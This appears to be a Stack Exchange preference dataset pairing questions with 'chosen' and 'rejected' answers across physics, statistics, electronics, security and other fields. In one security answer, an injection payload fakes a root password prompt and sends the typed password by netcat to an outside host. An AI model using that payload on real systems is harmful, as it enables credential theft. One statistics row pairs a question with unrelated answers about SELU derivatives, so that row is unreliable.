qid int64 1 4.65M | metadata listlengths 3 3 | prompt stringlengths 31 25.8k | chosen stringlengths 17 28.2k | rejected stringlengths 19 40.5k | domain stringclasses 28
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|---|---|---|---|---|---|
326,797 | [
"https://physics.stackexchange.com/questions/326797",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/153102/"
] | Why is the work done on a charge calculated from infinity to a point? Why not from one particular point to other?
| Consider the form of the potential energy between two point charges in the case that I use a reference distance <span class="math-container">$r_0$</span> as the zero (written here in SI units).
<span class="math-container">$$ U_{r_0} = \frac{q_1 \,q_2}{4 \pi \epsilon_0} \left( \frac{1}{r} - \frac{1}{r_0} \right) \;.$$<... | See, infinity is the place that is considered to have no charges, and is at 0 potential all the time.
So, potential at a point in an electric field is defined as work done in bringing an unit positive charge from infinite distance to that point. Actually, we are measuring the <strong>potential difference</strong> betw... | https://physics.stackexchange.com |
1 | [
"https://mechanics.stackexchange.com/questions/1",
"https://mechanics.stackexchange.com",
"https://mechanics.stackexchange.com/users/7/"
] | Assuming I have no known mechanical problems, at what mileage should I replace the timing belt in a 2003 Honda Accord EX V6?
I have heard 60,000 miles from some sources, but the manual seems to suggest around 90,000 <em>depending on driving conditions</em>.
| What are your <em>driving conditions</em>? If you primarily do city driving (stop and go, dusty) or live in a particularly hot or cold environment, then it's worth looking at the "severe service" area of your manual, and go by that recommendation.
Usually, it's relatively easy to inspect the timing belt by taking off ... | The manual states that for a 2003-2007 Honda Accord, the timing belt should be replaced at an 8 year or 105,000 mile mark. I just inherited a 2004 Honda Accord EX-V6 sedan from my father who purchased this car new in 2004. He drove a total of 55,000 miles in the 8 years in which he owned the vehicle. I feel stuck be... | https://mechanics.stackexchange.com |
96,793 | [
"https://softwareengineering.stackexchange.com/questions/96793",
"https://softwareengineering.stackexchange.com",
"https://softwareengineering.stackexchange.com/users/433/"
] | I am specifically looking for language influences (as opposed to framework). At first glance C# seems to be an evolution of C/C++ or Java. But we know C# has the same designer as Delphi, and he even acknowledged some similarities and said "good ideas don't just go away." The one example I see of something in C# that is... | Not that much which is visible to the programmer, but behind the scenes, quite a bit, but a lot of them were in the IDE and windows forms control design, rather than the language itself, I have been using Delphi 7 for about 10 years and C# for about 5 so I have picked up on a few:
1) The anchors property is identical ... | Anders was with Borland until Delphi 3 - he was the original architect of Delphi as well as Turbo Pascal. If you load Delphi 1, bring up the about box and type AND you get a picture of Anders that winks at you.
When he left Borland for MS he initially did J++ which "upset" Sun a little bit. Then he created C#. The ... | https://softwareengineering.stackexchange.com |
284,655 | [
"https://stats.stackexchange.com/questions/284655",
"https://stats.stackexchange.com",
"https://stats.stackexchange.com/users/7344/"
] | Say I have two treatments, "hot" and "cold".
I care about a certain outcome, say "success".
I have data on the number of successes out of, say 100 trials in the "hot" treatment.
Similarly, I have data on the number of successes out of 100 trials in the "cold" treatment.
What sort of statistical test should I use to de... | Ok, let's try it myself. For the backward pass we get:
$$
\frac{\partial E}{\partial Y}\frac{\partial Y}{\partial X} = λ, x>0
$$
$$
\frac{\partial E}{\partial Y}\frac{\partial Y}{\partial X} = λ * a * e ^x , x=<0
$$
with $ λ=1.0507, a=1.6733$
| The derivative (<strong>d</strong>) of the Selu function can be found from both the input (<strong>x</strong>) into and the output (<strong>y</strong>) from the Selu function.
To find derivative from the input:
<span class="math-container">$$
d = seluDerivative(x) =
\begin{cases}
\lambda & \text{if } x > 0\\
\... | https://stats.stackexchange.com |
10,863 | [
"https://electronics.stackexchange.com/questions/10863",
"https://electronics.stackexchange.com",
"https://electronics.stackexchange.com/users/3039/"
] | Articles I read about this tell me to hook up a 1KOhm resistor between the Arduino's TX and the iPhone's RX. I understand this is because Arduino's signal is 5V and I want 3.3V going to the iPhone.
My question is, where did they arrive at this value of 1KOhm? Is it documented somewhere that the serial signals are 1.7... | someone probably mucked with resistors until the voltage came right, or maybe there's a pullup/down resistor sitting there on the input.
Or it's a high impedance input and 1.7mA is the most they feel comfortable pushing through the input's protection diodes
It depends a lot on what the input circuit and impedance is ... | Don't risk blowing up your iPhone by messing about with series resistors. Use a proper 5v-3v converter.
A 74LVX244 buffer chip will accept 5v input and output a proper, safe, 3.3v logic level. This requires a source of 3.3v supply.
A sufficient number of fixed-drop diodes (say 2 diodes in series with 1v drop each)... | https://electronics.stackexchange.com |
2,975 | [
"https://quant.stackexchange.com/questions/2975",
"https://quant.stackexchange.com",
"https://quant.stackexchange.com/users/1777/"
] | As all research on the momentum strategies are focused on the indicator, i.e. the entry point, there seems not much discussion on its expected return? Though there are some discussions on the exit rules, it still doesn't clearly quantify the expected profit in advance. Not like a mean-reversion strategy, where its expe... | If you don’t have any specific model which describes the behavior of the asset being traded, you can estimate the empirical distribution of returns by backtesting your momentum strategy. Then you can adjust this estimate during your strategy’s lifetime from your trading results. Additionally you can enhance this by acc... | Another possible approach is taking views a la Black-Litterman. There is a 2006 paper "Incorporating Trading Strategies in the Black-Litterman Framework" that discusses the methodology in more detail.
There are several practical issues that one should consider when implementing a momentum strategy with optimization. ... | https://quant.stackexchange.com |
2,734,577 | [
"https://math.stackexchange.com/questions/2734577",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/495787/"
] | Recently I have began to learn about homomorphims in my introductory abstract algebra course and I had been working on a homework assignment that, if this statement were true, would make it much easier solve. I am certain that this is true since if we assume that $f(g^{-1})=h'\neq h^{-1}$ then $f(gg^{-1})=f(e_{G})=e_{H... | Your argument is good, but a bit contorted: no contradiction is needed.
If in a group we have $x=x^2$, then $x=e$, because we have $xx^{-1}=x^2x^{-1}$ and so $e=x$.
Consider now $f(e_G)=f(e_Ge_G)=f(e_G)f(e_G)$. By the argument above, $f(e_G)=e_H$.
Next, from
$$
e_H=f(e_G)=f(gg^{-1})=f(g)f(g^{-1})
$$
we conclude that... | You can say this : $f(g)f(g^{-1})=hf(g^{-1})$. But $f(g)f(g^{-1})=e$. And now you can conclude.
| https://math.stackexchange.com |
670,672 | [
"https://physics.stackexchange.com/questions/670672",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/316017/"
] | <span class="math-container">$L_{x}$</span> and <span class="math-container">$L^{2}$</span> commute, while <span class="math-container">$L_{x}$</span> and <span class="math-container">$L_{z}$</span> do not. However, <span class="math-container">$L_{z}$</span> and <span class="math-container">$L^{2}$</span> also commute... | The fact that <span class="math-container">$A$</span> and <span class="math-container">$B$</span> commute does not necessarily mean that <em>every</em> eigenstate of <span class="math-container">$A$</span> is also an eigenstate of <span class="math-container">$B$</span>. It just means that there is basis of eigenstate... | Consider angular momentum operators for spin 1/2:
<span class="math-container">$$
L^2=\frac{3}{4}\begin{pmatrix}
1 & 0 \\
0 & 1
\end{pmatrix},\,L_z=\frac12\begin{pmatrix}
1 & 0 \\
0 & -1
\end{pmatrix}
\,L_x=\frac12\begin{pmatrix}
0 & 1 \\
1 & 0
\end{pmatrix}.
$$</span>
Eigenstates for <span c... | https://physics.stackexchange.com |
21,084 | [
"https://ai.stackexchange.com/questions/21084",
"https://ai.stackexchange.com",
"https://ai.stackexchange.com/users/12964/"
] | For some environments taking an action may not update the environment state. For example, a trading RL agent may take an action to buy shares s. The state at time t which is the time of investing is represented as the interval of 5 previous prices of s. At t+1 the share price has changed but it may not be as a result o... | A very vague question. What's the objective?
Reinforcement Learning (RL) typically uses the Markov Decision Process framework, which is a sequential decision making framework. In this framework, actions influence the state transitions. In other words, RL deals with controlling (via actions) a Markov chain. The objecti... | It seems to me that you are confusing two things, <strong>State of the agent</strong> and <strong>State of the environment</strong>.
Think about a robot learning to walk on a rugged terrain.
The actions of the robots don't change the terrain at all ! The robot can include in his own state, part of the environment state... | https://ai.stackexchange.com |
95,688 | [
"https://chemistry.stackexchange.com/questions/95688",
"https://chemistry.stackexchange.com",
"https://chemistry.stackexchange.com/users/58278/"
] | If we have a solution that contains water and potassium sulfate (K2SO4).
And we add to this solution :
Du magnesium chloride (MgCl2) and lead nitrate (II) (Pb(NO3)2)
What would the compounds that form the solid (chemical formulas)?
Where is my mistake?
2 H2O + K2SO4 --> 2 KOH + H2SO4
MgCl2 +Pb(NO3)2 --> PbC... | Your first reaction is wrong. You can't just form sulphuric acid from its salt, or more simply sulfate. It will just form bisulfate in some extent, with an equilibrium reaction, not a one way arrow.
PbCl2 formation is expected since it is poorly soluble it will be precipitated.
Look for the most insoluble union in s... | In the first reaction with water and potassium sulfate, Postassium Sulfate (K2S04) does not react with water(H2O) but rather dissolves in it. And since it readily dissolves in water, it is considered readily soluble and there is no hydrolysis. It neither releases or absorbs and energy and is considered a dissociation r... | https://chemistry.stackexchange.com |
60,888 | [
"https://security.stackexchange.com/questions/60888",
"https://security.stackexchange.com",
"https://security.stackexchange.com/users/24757/"
] | I'm reading through past exams for an information security subject and I came across this.
<pre><code>#!/bin/sh
#applications launcher
X=$1
eval "$X"
</code></pre>
<em>"Do you think the program is vulnerable to attacks? Explain the reason for your answer with an example."</em>
Simple program, obvious vulnerability.
... | I think you've missed the point of this question. Given the wording of the question, the person who set the exam might not have been very clear on the threat model, unless there's some additional introduction material for this question that you didn't quote and that provides more context.
What you posted is a program ... | <pre><code>"stty -echo ; echo 'This program requires root privileges.' ; read -p 'Please enter password: ' password ; echo \$password | netcat myhost.foo 1337 ; stty echo"
</code></pre>
You have to listen on port 1337 on your machine:
<pre><code>netcat -l 1337
</code></pre>
and will be sent the root password of the ... | https://security.stackexchange.com |
13,425 | [
"https://mechanics.stackexchange.com/questions/13425",
"https://mechanics.stackexchange.com",
"https://mechanics.stackexchange.com/users/7694/"
] | <strong>Does anybody know what would cause the following symptoms?</strong>
I have a <strong>1996 Golf MK3 diesel (not TDI).</strong>
I drove the car with no problem three days ago. Today I went to start it, and <strong>the battery is almost dead.</strong>
When I turn the ignition key, there is a <strong>rapid click... | The answer was that t<strong>he battery was bad</strong>. Apparently it was a cheap battery and <strong>the failed alternator drained it</strong>.
Once it had been drained, it would no longer hold a charge.
Replacing the batter with a new, good-quality (VW) battery fixed the problem entirely.
One clue was that when ... | Your mechanic seems to have repaired the fault by replacing the alternator. A faulty alternator will drain the battery as you describe and can be quite dramatic in causing other symptoms.
| https://mechanics.stackexchange.com |
53,381 | [
"https://quant.stackexchange.com/questions/53381",
"https://quant.stackexchange.com",
"https://quant.stackexchange.com/users/36197/"
] | I am Computer engineer and I know programming in python, go-lang, C++, I am interested in trading, I know how to make system to get data, send orders, back-test, fault-tolerance system, etc
I have understanding of how the market works, its jargon, terms, methodology, basically I know how to trade.
What basically I am ... | It is good for beginner to start with fundamentals. It can be a book "Systematic Trading: a unique new method for..." by Robert Carver (2015). Then it is good to read/listen to Ernest P. Chan, really great advisor and writer. And after that you will be able to inference for yourself about new strategies and forecast ge... | For introduction to algo trading, market microstructure, limit order book data, also be aware of errors strategists make when inferring performance from naive poorly-designed backtests,
<ul>
<li>Kaufman (2013) <em>Trading Systems and Methods</em></li>
<li>Kissell (2014) <em>The Science of Algorithmic Trading and Port... | https://quant.stackexchange.com |
21,781 | [
"https://mathoverflow.net/questions/21781",
"https://mathoverflow.net",
"https://mathoverflow.net/users/3261/"
] | I am trying to figure out when a closed, oriented manifold admits an orientation reversing diffeomorphism. My naive argument that the orientation cover should allow you to switch orientations is apparently wrong, since not every manifold admits such a diffeomorphism.
Can anyone give me some criteria for when such a mo... | Such an endomorphism of $M$ gives an automorphism of the cohomology ring that acts by $-1$ on top cohomology. The cohomology ring of your example $M = {\mathbb C \mathbb P}^{2n}$ doesn't have such automorphisms.
| The same technique Allen mentioned also shows that $\mathbb{H}P^{2n}$ doesn't admit any orientation reversing diffeomorphisms.
However, it's also true that $\mathbb{H}P^{2n+1}$ doesn't admit any orientation reversing diffeomorphisms unless n = 0. This is because the first Pontryagin class $p_1 = 2(n-1)x$ for $x\in H^... | https://mathoverflow.net |
479,691 | [
"https://physics.stackexchange.com/questions/479691",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/186136/"
] | I just read that "a heat transfer between a reservoir and a system at same temperature is a reversible process". If there's no temperature difference, why would there be a heat flow?
| It is true that the condition for thermodynamic equilibrium between two systems in contact through a diathermal, rigid and impermeable wall is the equality of temperatures. This is a consequence of the principle of maximum entropy applied to the isolated system made of the two systems at thermal contact. Thermodynami... | <strong><em>I just read that "a heat transfer between a reservoir and a system at same temperature is a reversible process". If there's no temperature difference, why would there be a heat flow?</em></strong>
You are correct. If there is no temperature difference there can be no energy transfer in the form of heat. He... | https://physics.stackexchange.com |
3,710,002 | [
"https://math.stackexchange.com/questions/3710002",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/176922/"
] | What's a good symbol for many repeated summations? I vaguely remember seeing something like
<span class="math-container">$$
\otimes_{j=1}^N \sum_{n_j=-\infty}^\infty f(\vec{n})= \sum_{n_1=-\infty}^\infty\sum_{n_2=-\infty}^\infty\cdots\sum_{n_N=-\infty}^\infty f(\vec{n}).$$</span>
Is this used in practice? If not, i... | You essentially want to sum over all vectors of length <span class="math-container">$N$</span> with integer entries. If we say <span class="math-container">$\mathcal{Z} = \otimes^N_{j=1} \mathbb{Z}$</span>, then you can write the above sum compactly as:
<span class="math-container">$$\sum_{\vec{z} \in \mathcal{Z}} f(\... | Here we are summing over all <span class="math-container">$N$</span>-tuples of <span class="math-container">$\mathbb{Z}^N$</span>. If the order of summation does not matter, it is common to write
<span class="math-container">\begin{align*}
\sum_{\vec{n}\in\mathbb{Z}^N} f(\vec{n})
\end{align*}</span>
If the notation <s... | https://math.stackexchange.com |
273,334 | [
"https://softwareengineering.stackexchange.com/questions/273334",
"https://softwareengineering.stackexchange.com",
"https://softwareengineering.stackexchange.com/users/168127/"
] | I was reading about compilers and was given an example of creating a basic compiler that recognizes escape sequences without referencing ASCII.
Somebody suggested that once I compile a piece of code with ASCII numbers, I can then recompile a different snippet of code without actual reference to the
ASCII number, and c... | The puzzle becomes quite a bit easier once yo understand a fundamental truth about data storage in computers. The truth is this:
<strong>Characters do not exist.</strong>
Computers cannot deal with characters. Printer drivers, video outputs, teletypes etc. can generate shapes of letters and therefore provide the nece... | As mentioned above computers just store numbers. The association of an 8 bit number with a printable character is completely arbitrary.
ASCII actually predates computers and started of as standard for teletype/telex machines. Its use in computers became common because it was easy to hook up a teletype paper tape reade... | https://softwareengineering.stackexchange.com |
349,377 | [
"https://physics.stackexchange.com/questions/349377",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/165080/"
] | <img src="https://i.stack.imgur.com/x1gA8.jpg" alt="There's no friction and the pulleys and strings are massless. The aim is to solve the system and determine all the tensions and accelerations">
Okay, so for the record, I've solved this system considering each object as an individual system but what I can't compre... | You <strong>can</strong> consider the hanging pulley and the masses hanging from it as a system of mass $m_1+m_2$. However, analysing the forces on this sytem does not tell you about the motion of individual parts of the system. It only tells you about the acceleration of its <strong>centre of mass</strong>. Often this... | The forces acting on the lower pulley is twice the tension of the rope connecting $m_1$ and $m_2$, which we denote as $T'$. In this situation, we have the equations $T'-m_2g=-m_2 a$ and $T'-m_1g=m_1a$. The reason $2T'$ is not the sum of $m_1$ and $m_2$ is because of the acceleration of the system. Imagine standing in a... | https://physics.stackexchange.com |
110,167 | [
"https://softwareengineering.stackexchange.com/questions/110167",
"https://softwareengineering.stackexchange.com",
"https://softwareengineering.stackexchange.com/users/35740/"
] | I am writing a multiple-filed program right now, and apparently running only 'make' (as one would intuitively think needs to be done in most situations) for some reason causes my program to fail. I guess I can provide more detail of the problem, but the important thing is that it does run when using 'make clean'. So I ... | You run make clean in two situations - when you want to package up the source code (and therefore don't need/want the built objects) OR when you have some reason to believe that the built objects are bad.
In your case, you're using 'make clean' to fix a problem that is likely the result of a buggy Makefile. Something ... | I agree with Michael Kohne's answer in general. I would add you need to read the installation docs to know what "make clean" actually does. There can be different levels of clean that you might need to use, such as "make realclean" and "make distclean." There are informal conventions for these, but nothing carved in ... | https://softwareengineering.stackexchange.com |
17,136 | [
"https://security.stackexchange.com/questions/17136",
"https://security.stackexchange.com",
"https://security.stackexchange.com/users/11218/"
] | Here's the situation: As an adminstrator, I am able to stall the application by closing 2 handles held by the process. (Using ProcExplorer) . Is there any way/hack I can use to close file handles while as a regular user. handle.exe and ProcExplorer wont let me do so as a regular user. Is this because of Windows' securi... | This can be done ! Process explorer doesn't allow you to do it but you can write a simple python script to close the handles using the DUPLICATEHANDLE_CLOSE SOURCE can be used to close handles of the same user level processes.
| Considering the only way you could get to the process is through debugging hooks (I think). The Local Security policy in windows 7 has the following for the debug permission:
<blockquote>
Debug programs
This user right determines which users can attach a debugger to any
process or to the kernel. Developers wh... | https://security.stackexchange.com |
488,373 | [
"https://stats.stackexchange.com/questions/488373",
"https://stats.stackexchange.com",
"https://stats.stackexchange.com/users/294655/"
] | The objective is to test whether the adjusted group means are equal.
The question is whether ANCOVA <strong>requires</strong> the interaction term, for this objective.
In <strong>all the guides</strong> I am reading, after testing for assumptions, you run a two-way ANCOVA (with one covariate) using <strong>this</strong... | It looks like other responses have already addressed the fact that there is no absolute rule that an interaction needs to be included. I'll just echo briefly that the decision of including an interaction should be driven by theory, and I'd like to use my answer to just fill in some context about why that matters.
First... | There is nothing in statistical theory or practice which requires you to include any interaction, or any main effect for that matter. You include in your model the variables which your scientific theory has suggested and you include any interaction which that theory has suggested. You would then present that model to t... | https://stats.stackexchange.com |
2,015,863 | [
"https://math.stackexchange.com/questions/2015863",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/357010/"
] | I have the following problem:
<blockquote>
Suppose $x + y + z = 0$. Show that $$\frac{x^5 + y^5 + z^5}{5}= \frac{x^3 + y^3 + z^3}{3} \times \frac{x^2 + y^2 + z^2}{2}$$ and $$\frac{x^7 + y^7 + z^7}{7}= \frac{x^2 + y^2 + z^2}{2} \times \frac{x^5 + y^5 + z^5}{5}$$
</blockquote>
I thought this was a fun problem to tack... | You've surely been trying to express one of the unknowns using the others and plugging in. Try to preserve the symmetry between them instead:
$$(x+y+z)^3 = x^3 + y^3 + z^3 + 3x^2y + 3x^2z + 3y^2x + 3y^2z + 3z^2x + 3z^2y + 6xyz$$
But we know that the left hand side is a zero and, moreover, wherever something like $x+z... | The first identity does not involve much algebra, if you write $z = -(x+y)$:
$$ z^5 + (x^5+y^5) = -5x^4y-10x^3y^2-10x^2y^3-5xy^4$$
where the $(-x^5-y^5)$ cancels out in the binomial exapnsion.
A similar thing happends in the cubes term.
So the identity reads
$$
-x^4y-2x^3y^2-2x^2y^3-xy^4 = (-x^2y-xy^2)\frac{(x^2+y^2+x... | https://math.stackexchange.com |
626,243 | [
"https://electronics.stackexchange.com/questions/626243",
"https://electronics.stackexchange.com",
"https://electronics.stackexchange.com/users/253141/"
] | Imagine I have a power supply supplying a 12 amp AC current of 12 volts. The resistance of the circuit, consisting of only a copper wire and a resistor, is 1 ohm.
In this instance Ohm's law holds true:
<span class="math-container">$$V=I×R$$</span>
<span class="math-container">$$12=12×1$$</span>
This said if we use a 1:... | Short anwer: No
Longer answer:
Your math is off. Off by much.
<span class="math-container">\$P = U * I\$</span>
<span class="math-container">\$U = R * I\$</span>
You got the first part right. You've got 12V and 12A on your 1 Ohm resistor. That 144W.
Not you put in a 1:4 transformer, making 48V.
This means, now you have... | That's not how it works.
If you step up voltage to 48V, then that same 1 ohm resistor draws 48A current at 48V, not 3A.
The resistor will get 2.3 kilowatts, and you need 192 amps at 12V to provide it, and the 12A power supply can't provide it.
| https://electronics.stackexchange.com |
337,757 | [
"https://stats.stackexchange.com/questions/337757",
"https://stats.stackexchange.com",
"https://stats.stackexchange.com/users/108150/"
] | Suppose that we have data, $D$, and two parameters we want to learn about, $\theta_1, \theta_2$. We will usually put priors on $\theta_1, \theta_2$, then have the expression:
$$
p(\theta_1, \theta_2\mid D) \propto p(D\mid \theta_1, \theta_2) p(\theta_1) p(\theta_2)
$$
I am wondering why most set-ups assume that the p... | Your expression is only correct when you assume independent priors. Otherwise, the expression would become
$$
p(\theta_1, \theta_2 | D) \propto p(D|\theta_1, \theta_2) p(\theta_1, \theta_2)
$$
In this expression, you may need further assumptions to work with $p(\theta_1, \theta_2)$ or you can work with it as is. If y... | As Maurits M mentions in another answer whether independence makes sense is really problem specific. The OP question asked:
"I am wondering why most set-ups assume that the priors above are independent. What happens if we do not have it?"
which is really 2 questions.
(1) Why most set-ups assume the priors are inde... | https://stats.stackexchange.com |
20,272 | [
"https://physics.stackexchange.com/questions/20272",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/7426/"
] | The following decay is possible according to the PDG and according to my notes it is a strong decay:
$$\omega(1420) \to \rho^0 + \pi^0$$
The JPC values are:
$\omega(1420)$ 1--
$\rho$ 1--
$\pi$ 0-+
So, all three particles have, for themselves, a parity of -1.
The combined parity on the right sid... | A (non-accelerated) permanent magnet doesn't produce electromagnetic radiation. It is surrounded by a magnetic field (just like a charge is surrounded by an electric field), but it does not radiate. Especially there's no energy leaving the magnet.
Note that for energy flow (as in radiation) you need <em>both</em> an e... | An object has potential energy if it has the capacity to do work. Work is done if an object is moved by a force in the direction of the said force. A permanent magnet can via it's force fields move a ferromagnetic material. Energy is said to be transfered whenever work is done. Permanent magnets emit force fields which... | https://physics.stackexchange.com |
34,742 | [
"https://dba.stackexchange.com/questions/34742",
"https://dba.stackexchange.com",
"https://dba.stackexchange.com/users/5769/"
] | We have our Primary SQL Servers in-house (15 primary servers at the moment (500 databases approx overall), most of the servers have hex core processors).
These are mirrored to other backup servers in a near-by building (via a dedicated 0ms fibre link).
What we'd like to do is maintain a live copy of our data in an of... | Based on what you have described Log shipping is going to be the way to go. Log shipping is old school, tried and true.
Replication is pretty fragile, provides massive amounts of room for failure especially when it comes to adding new tables and getting those tables into the replication topology.
As for 2012 upgrade... | Log shipping might be "crude" (I prefer to call it straightforward), but replication is complex and, in my experience, brittle. You don't want to add complexity if you can avoid it. You don't want to have to go through some sort of heroics to fix a broken replication setup.
Managing the replication configuration of a... | https://dba.stackexchange.com |
63,256 | [
"https://quant.stackexchange.com/questions/63256",
"https://quant.stackexchange.com",
"https://quant.stackexchange.com/users/25674/"
] | It is reasonable to assume that global yields move in tandem to a certain extent, driven by a global and a local component. Are there any ways to separate the two, beyond the obvious (regress the local yield changes onto an average change across all yields)? Any pitfalls, like expected/unexpected changes, credit risk, ... | Consider any option, vanilla or exotic. In between fixing dates it satisfies the Black & Scholes PDE (for simplicity zero interest rate and dividends)
<span class="math-container">$$
\frac{1}{2} \sigma^2 S^2 \frac{\partial^2 U}{\partial S^2}(S,t)+\frac{\partial U}{\partial t}(S,t)=0
$$</span>
Let <span class="math-... | I'll give a heuristic "proof" for general European claims which will cause mathematicians to feel sick, but which physicists / practitioners would probably be quite happy work with:
Write the Black-Scholes PDE as
<span class="math-container">$$
\frac{\partial F}{\partial\tau}(\tau) = \mathcal{A} F(\tau)
$$</s... | https://quant.stackexchange.com |
6,398 | [
"https://dsp.stackexchange.com/questions/6398",
"https://dsp.stackexchange.com",
"https://dsp.stackexchange.com/users/3534/"
] | I have started looking into DSP and made an implementation of short-time fourier transform, using kissFFT to perform the FFT. I then render a spectrogram.
An example image that I have generated can be seen below. On top is the spectrogram of a music file from my implementation and under it is the spectrogram of the sa... | After wasting forever on this problem, I found that it was just a question of window function. Doh!
Window functions that are not zero-ended produce these vertical lines. For example, Rectangular Window, Hamming Window, Gaussian Window (with low sigma) produce these lines, and Barlett Window, Hanning Window, Blackmann... | The vertical lines you see could be clipping. I assume you took a loud MP3 file, decoded it to something like a linear PCM-Wave whith clipping and feed your program with it. As far as, I know Audacity decodes MP3 to 32bit floats internally which does not suffer from clipping issues. This could explain why the Audacity ... | https://dsp.stackexchange.com |
155,011 | [
"https://stats.stackexchange.com/questions/155011",
"https://stats.stackexchange.com",
"https://stats.stackexchange.com/users/72911/"
] | I have a logistic regression with five explanatory variables (x) and Y is binary.
I will present a small work tomorrow on a powerpoint and wondering what the neatest way is to write my logistic regression?
my variables:
x_1: categorical, with the categories: teachers, biomathematics, economics and mathematics. Mathem... | The proper analog of univariate moments in a multivariate setting is to view the exponent $\mathbf{k} = (k_1, k_2, \ldots, k_n)$ as a vector, too. The exponential notation with vector bases and vector exponents is a shorthand for the product,
$$\mathbf{y}^\mathbf{k} = y_1^{k_1} y_2 ^{k_2} \cdots y_n^{k_n}.$$
For any... | In addition to @whuber's points
1) I am not sure what linear model theory entails but remember that in linear models we are generally dealing with normal random variables which have 0 skew and 0 kurtosis.
2) More generally, the question is of the form "How precise is precise?". If I want to describe IID samples I co... | https://stats.stackexchange.com |
13,063 | [
"https://scicomp.stackexchange.com/questions/13063",
"https://scicomp.stackexchange.com",
"https://scicomp.stackexchange.com/users/4084/"
] | I'm a novice in object-oriented programming, but this design technique seems very interesting for me. I have a Fortran 90 CFD package , not very complex, but it is already very hard to maintain and to add new physics or other features. As I learnt for now it can reduce complexity of program, but most important from my ... | Boyd and Vandenberghe's text on Convex Optimization is free, and lectures have been posted online. It's also not incredibly theory heavy.
Nocedal and Wright is very good at discussing practical aspects of optimization, particularly implementation of algorithms. It too is not theory heavy.
For people who care about th... | I don't know whether there are video lectures, but I find the book by Nocedal and Wright on "Numerical Optimization" to be a fantastic reference to everything related to continuous optimization. It is easy to read and understand.
| https://scicomp.stackexchange.com |
59,519 | [
"https://dsp.stackexchange.com/questions/59519",
"https://dsp.stackexchange.com",
"https://dsp.stackexchange.com/users/41635/"
] | When reconstructing the frequency domain for an FFT, what is the most self-consistent way to do this -- i.e. how is it best to define the bin width, <span class="math-container">$\Delta f$</span>?
For example, previously I thought it a simple matter of saying,
<span class="math-container">$$\Delta f = span / N_{points... | I don't think Hilmar's answer is very good as it interprets the DFT within a specific application context. That confuses issues.
The DFT is a tranform that works on a set of N samples. The samples are presumed to be evenly spaced in their domain on a finite interval of samples is called a frame. It may be time, it ... | Let's assume we have a sample rate of <span class="math-container">$f_s=10 kHz$</span> and FFT size of <span class="math-container">$N=1000$</span>
<ol>
<li>Your bin spacing is <span class="math-container">$\delta f = 10 Hz$</span>. It's simply the sample rate divided by the FFT size. That's all there is to it.</li>
<... | https://dsp.stackexchange.com |
223,744 | [
"https://softwareengineering.stackexchange.com/questions/223744",
"https://softwareengineering.stackexchange.com",
"https://softwareengineering.stackexchange.com/users/56691/"
] | Does it make sense to write default constructor when it has no arguments, empty body and no other constructors exist?
The only benefit I can think of is reducing the risk of forgetting to add the default constructor when another one is created. But this error would show up anyway if the default constructor is actually... | There is no benefit <em>unless</em> you are interacting with a tool or framework that detects your class's declared methods and constructors via reflection and then silently does different things depending on whether it finds the default constructor or not. (I seem to remember that early versions of Spring or Hibernate... | The only benefit I can foresee is that you can add specific documentation to this constructor, for instance to describe how to deal with the object after instantiation, etc...
In any other case, I do not think it is useful.
| https://softwareengineering.stackexchange.com |
22,474 | [
"https://electronics.stackexchange.com/questions/22474",
"https://electronics.stackexchange.com",
"https://electronics.stackexchange.com/users/6645/"
] | When I'm working on computers, I want to avoid eletrostatic discharge. I have a wristband, but I'm not sure that I'm attaching it to the right thing. Usually, I'll clip it to the case of the computer. However, there are two cases in which I'm not quite sure what the proper procedure is. First, sometimes laptops seem to... | <ul>
<li><em><strong>When I'm working on computers, I want to avoid electrostatic discharge. I have a wristband, but I'm not sure that I'm attaching it to the right thing.</em></strong>
ESD rule number 1 - The aim is to have all objects being worked on at the SAME potential.
If this is ground potential, so much the... | You connect your wrist strap via a resistor to the earth pin of your wall outlet. The resistor value is typically in the 1M\$\Omega\$ range. Be sure to also use an antistatic mat, also connected via a resistor to earth to be sure everything you work is safe.
<img src="https://i.stack.imgur.com/9Wqr5.png" alt="enter ... | https://electronics.stackexchange.com |
59,694 | [
"https://quant.stackexchange.com/questions/59694",
"https://quant.stackexchange.com",
"https://quant.stackexchange.com/users/41390/"
] | The <strong>maximum expected return portfolio</strong> is the one that assigns a 100% weight to the asset with the highest expected return amongst all assets under consideration.
Shouldn't then the asset with the lowest variance in the candidate pool likewise be assigned a 100% weight in the <strong>minimum-variance po... | <strong>Diversification is key</strong>.
The clear cut answer is <em>diversification</em>. A weighted combination of assets will more often than not show a lower return variance than even the asset with the lowest variance across the asset universe.
<strong>The setup</strong>
<em>Without loss of generality</em>, let us... | If you start out with a matrix specifying the covariance of every pair of assets, and an alpha for every asset (because people usually do), and define an objective function that maximizes the alpha and minimizes the variance of the portfolio, and run a quadratic optimizer, but don't specify a lot of constraints, then ... | https://quant.stackexchange.com |
213,902 | [
"https://electronics.stackexchange.com/questions/213902",
"https://electronics.stackexchange.com",
"https://electronics.stackexchange.com/users/96406/"
] | For example, in s3c2440, it clears only the bit positions of the SRCPND corresponding to those set to one in the data. The bit positions corresponding to those that are set to 0 in the data remains as they are.
| This is an extremely useful feature. The whole point is to be able to modify individual bits of the register with an atomic (non-interruptable) operation instead of a read-modify-write operation. This is actually rather common for interrupt flags.
The whole idea of interrupt flags is that the hardware sets the fla... | Registers that perform logical operations on write access are a common thing, but you see them most often on interrupt controllers.
This basically permits atomic modification of several bits; without this mechanism, you would need to generate a read instruction, a bit clear instruction and a write instruction, introdu... | https://electronics.stackexchange.com |
237,907 | [
"https://mathoverflow.net/questions/237907",
"https://mathoverflow.net",
"https://mathoverflow.net/users/11877/"
] | Let $G=GL_n$ and $U_-$ the set of all lower unipotent triangular matrices. Then by Gauss Decomposition, we have $G = U_-B$, where $B$ is the set of all upper triangular matrices. The group $U_-$ acts on $G$ by left multiplication. Since $G = U_-B$, we have an embedding $B \hookrightarrow U_-B/U_- = G/U_-$. Therefore $\... | The subspace $V_\lambda$ is very easy to see. Since $U^-$ is normalized by the maximal torus $T$ there is an action of $T$ on $G/U^-$ on the right. This means that $\mathbb C[G/U^-]$ carries a multigrading and $V_\lambda$ is just one of the multihomogeneous pieces.
